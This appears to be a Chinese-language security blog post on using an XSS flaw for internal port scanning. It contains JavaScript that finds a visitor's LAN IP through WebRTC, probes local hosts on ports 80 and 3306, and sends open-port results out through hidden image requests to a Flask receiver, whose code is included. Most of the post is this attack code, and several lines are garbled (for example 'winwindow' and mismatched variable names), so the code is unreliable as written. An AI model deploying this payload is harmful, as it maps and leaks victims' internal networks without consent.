XSS的另一種利用思路
前言
安全測試人員在測試XSS漏洞的時候,用得最多的方式是利用XSS釣魚攻擊、盜取會話憑證,挾持會話。當然還有很多其他利用方式,但是卻很少涉及內網滲透環節。換一種思路,XSS還可以做很多意想不到的事,本文通過實踐介紹利用js進行內網端口掃描的滲透思路。
獲取局域網IP
進行內網端口掃描首先第一點要獲取內網IP,這是最關鍵的一步,這里有一個前輩的Demo:
使用的WebRTC技術獲取當前訪問者的局域網IP,具體的js實現如下:
- function getlanip(callback){
- var ip_dups = {};
- var RTCPeerConnection = window.RTCPeerConnection
- || window.mozRTCPeerConnection
- || window.webkitRTCPeerConnection;
- if (!RTCPeerConnection) {
- var iframe = document.createElement('iframe');
- iframe.sandbox = 'allow-same-origin';
- iframe.style.display = 'none';
- document.body.appendChild(iframe);
- var win = iframe.contentWindow;
- winwindow.RTCPeerConnection = win.RTCPeerConnection;
- winwindow.mozRTCPeerConnection = win.mozRTCPeerConnection;
- winwindow.webkitRTCPeerConnection = win.webkitRTCPeerConnection;
- RTCPeerConnection = window.RTCPeerConnection
- || window.mozRTCPeerConnection
- || window.webkitRTCPeerConnection;
- }
- var mediaConstraints = {
- optional: [{RtpDataChannels: true}]
- };
- var servers = undefined;
- if(window.webkitRTCPeerConnection)
- servers = {iceServers: [{urls: "stun:stun.services.mozilla.com"}]};
- var pc = new RTCPeerConnection(servers, mediaConstraints);
- pc.onicecandidate = function(ice){
- if(ice.candidate){
- var ip_regex = /([0-9]{1,3}(.[0-9]{1,3}){3})/
- var ip_addr = ip_regex.exec(ice.candidate.candidate)[1];
- if(ip_dups[ip_addr] === undefined)
- callback(ip_addr);
- ip_dups[ip_addr] = true;}
- };
- pc.createDataChannel("");
- pc.createOffer(function(result){
- pc.setLocalDescription(result, function(){}, function(){});
- }, function(){});
- }
WebRTC
WebRTC,是網頁實時通信(Web Real-Time Communication)的縮寫,是一個支持網頁瀏覽器進行實時語音對話或視頻對話的技術。WebRTC 實現了基于網頁的視頻會議,標準是 WHATWG 協議,目的是通過瀏覽器提供簡單的 Javascript 就可以做到實時通訊。WebRTC 項目的最終目的主要是讓 Web 開發者能夠基于瀏覽器輕易快捷地開發出豐富的實時多媒體應用,而無需下載安裝任何插件,Web 開發者也無需關注多媒體的數字信號處理過程,只需編寫簡單的 Javascript 程序即可實現,很多瀏覽器包括Firefox Chrome,360極速瀏覽器都已經支持WebRTC, 但是Internet Explorer 和 Safari 尚未支持 WebRTC。
JS端口掃描
有了局域網IP,利用sciprt標簽加載js函數執行,然后利用html onload事件結合img標簽當然可以這里可以使用其他的比如:iframe標簽等,把加載成功的IP,端口信息傳回我們的接收端,這里我用Flask簡單的寫了一個接收端。
- #!/usr/bin/env python3
- #coding:utf-8
- from flask import Flask,request
- app = Flask(__name__)
- @app.route(rule='/')
- def index():
- args = request.args
- for k,v in args.items():
- print(k,v)
- return str()
- if __name__ == '__main__':
- app.run(debug=True)
下面是一個簡單的掃描函數和數據傳回函數。
- //數據傳回
- var TagName = document.getElementsByTagName("body")[0];
- function post_data(ip,port){
- var img = document.createElement("img");
- img.setAttribute("src","http://127.0.0.1:5000/?ip=" + ip + "&openport=" + port);
- img.setAttribute("style","display:none")
- TagName.appendChild(img);
- }
- //簡單端口掃描
- getlanip(function(ip){
- //判斷內網IP
- if (ip.match(/^(192.168.|169.254.|10.|172.(1[6-9]|2d|3[01]))/)){
- ipip = ip.split(".");
- ip.pop();
- ipip = ip.join(".");
- for(var i = 1;i<=255;i++){
- var script = document.createElement("script");
- var ipip_url = ip + "." + i + ":80";//3306
- script.setAttribute("src","http://" + ip_url);
- script.setAttribute("onload","post_data('" + ip + "." + i + "','80')");//3306
- TagName.appendChild(script);
- }
- }
- });
隨便一個html引入js文件,加載效果圖。
在服務端成功的接收到了開放80端口的ip。
當然其他端口也是可以的只要支持http協議訪問的比如3306。
探測到開放3306端口的主機,這樣實現了一個簡單的局域網ip端口的功能。
結語
當懷疑某處存在xss漏洞而我們又想知道內網具體的ip端口情況時,我們就可以利用這種方式實現局域網端口探測,有點類似于SSRF,但是通過XSS也同樣可以實現。